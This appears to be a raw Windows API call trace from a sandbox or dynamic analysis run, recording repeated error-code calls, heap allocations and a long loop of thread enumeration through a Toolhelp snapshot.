[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.678] SetLastError (dwErrCode=0x0)
[0126.678] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.679] SetLastError (dwErrCode=0x0)
[0126.679] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.680] SetLastError (dwErrCode=0x0)
[0126.680] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.681] SetLastError (dwErrCode=0x0)
[0126.681] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.682] SetLastError (dwErrCode=0x0)
[0126.682] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] GetLastError () returned 0x0
[0126.683] SetLastError (dwErrCode=0x0)
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x98) returned 0x2d917f0
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1f) returned 0x2d91890
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x2e) returned 0x2d918b8
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x37) returned 0x2d918f0
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x3c) returned 0x2d91930
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x31) returned 0x2d91978
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x14) returned 0x2d919b8
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x24) returned 0x2d919d8
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x31) returned 0x2d91a08
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x28) returned 0x2d91a48
[0126.683] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0xd) returned 0x2d91a78
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1d) returned 0x2d91a90
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x31) returned 0x2d91ab8
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x15) returned 0x2d91af8
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x17) returned 0x2d91b18
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0xe) returned 0x2d91b38
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0xa2) returned 0x2d91b50
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x3e) returned 0x2d91c00
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1b) returned 0x2d91c48
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1d) returned 0x2d91c70
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x49) returned 0x2d91c98
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x12) returned 0x2d91cf0
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x18) returned 0x2d91d10
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1b) returned 0x2d91d30
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x24) returned 0x2d91d58
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x29) returned 0x2d91d88
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x1e) returned 0x2d91dc0
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x6b) returned 0x2d91de8
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x17) returned 0x2d91e60
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0xf) returned 0x2d91e80
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x16) returned 0x2d91e98
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x2a) returned 0x2d91eb8
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x29) returned 0x2d91ef0
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x12) returned 0x2d91f28
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x21) returned 0x2d91f48
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x16) returned 0x2d91f78
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x22) returned 0x2d91f98
[0126.684] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x12) returned 0x2d91fc8
[0126.690] HeapFree (in: hHeap=0x2d90000, dwFlags=0x0, lpMem=0x2d907c8 | out: hHeap=0x2d90000) returned 1
[0126.691] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x80) returned 0x2d907c8
[0126.691] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x800) returned 0x2d91fe8
[0126.692] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0126.692] RtlSizeHeap (HeapHandle=0x2d90000, Flags=0x0, MemoryPointer=0x2d907c8) returned 0x80
[0126.738] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x50) returned 0x2d90850
[0126.740] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x2c) returned 0x2d908a8
[0126.740] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x100) returned 0x2d908e0
[0126.741] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x1c) returned 0x2d909e8
[0126.741] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x170
[0126.753] Thread32First (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.754] GetCurrentProcessId () returned 0xdac
[0126.754] GetCurrentThreadId () returned 0xda8
[0126.754] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.755] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.756] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.757] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.757] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.758] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.759] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.759] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.760] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.761] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.761] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.762] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.763] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.764] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.764] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.765] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.766] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.767] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.809] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.810] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.810] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.811] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.812] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.813] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.814] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.814] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.815] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.816] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.817] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.817] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.818] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.819] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.820] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.821] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.821] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.822] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.823] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.824] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.824] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.825] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.826] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.827] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.828] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.828] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.829] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.830] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.831] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.832] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.832] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.833] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.834] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.835] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.835] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.836] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.837] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.838] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.838] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.839] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.840] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.841] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.841] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.842] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.843] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.844] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.845] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.845] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.846] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.847] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.847] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.848] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.849] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.850] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.851] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.851] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.852] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.853] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.854] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.855] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.855] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.856] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.857] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.858] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.858] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.859] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.860] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.860] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.861] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.862] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.863] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.863] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.864] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.865] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.865] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.866] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.867] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.868] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.868] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.869] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.870] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.870] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.871] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.872] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.873] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.873] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.874] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.875] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.876] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.877] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.878] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.879] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.880] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.880] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.881] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.882] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.882] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.883] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.884] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.885] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.885] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.886] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.887] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.887] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.888] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.889] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.889] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.890] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.891] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.892] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.892] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.893] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.894] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.894] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.895] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.896] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.897] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.897] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.898] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.899] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.899] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.900] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.902] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.903] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.903] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.904] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.905] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.905] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.906] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.907] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.908] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.908] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.909] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.910] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.910] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.911] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.912] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.913] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.913] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.914] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.915] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.915] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.916] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.917] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.917] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.918] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.919] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.920] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.920] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.921] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.922] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.922] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.923] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.924] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.924] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.925] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.926] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.926] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.927] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.928] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.928] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.929] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.930] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.931] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.931] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.932] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.933] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.934] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.934] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.935] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.936] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.936] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.937] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.938] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.938] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.939] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.940] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.940] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.941] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.942] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.942] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.943] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.944] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.944] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.945] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.946] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.947] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.948] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.949] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.949] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.950] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.951] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.951] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.952] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.953] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.953] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.954] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.955] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.956] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.956] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.957] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.958] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.958] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.959] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.960] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.960] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.961] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.962] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.962] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.963] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.964] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.964] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.965] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.966] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.966] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.967] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.968] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.968] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.969] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.970] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
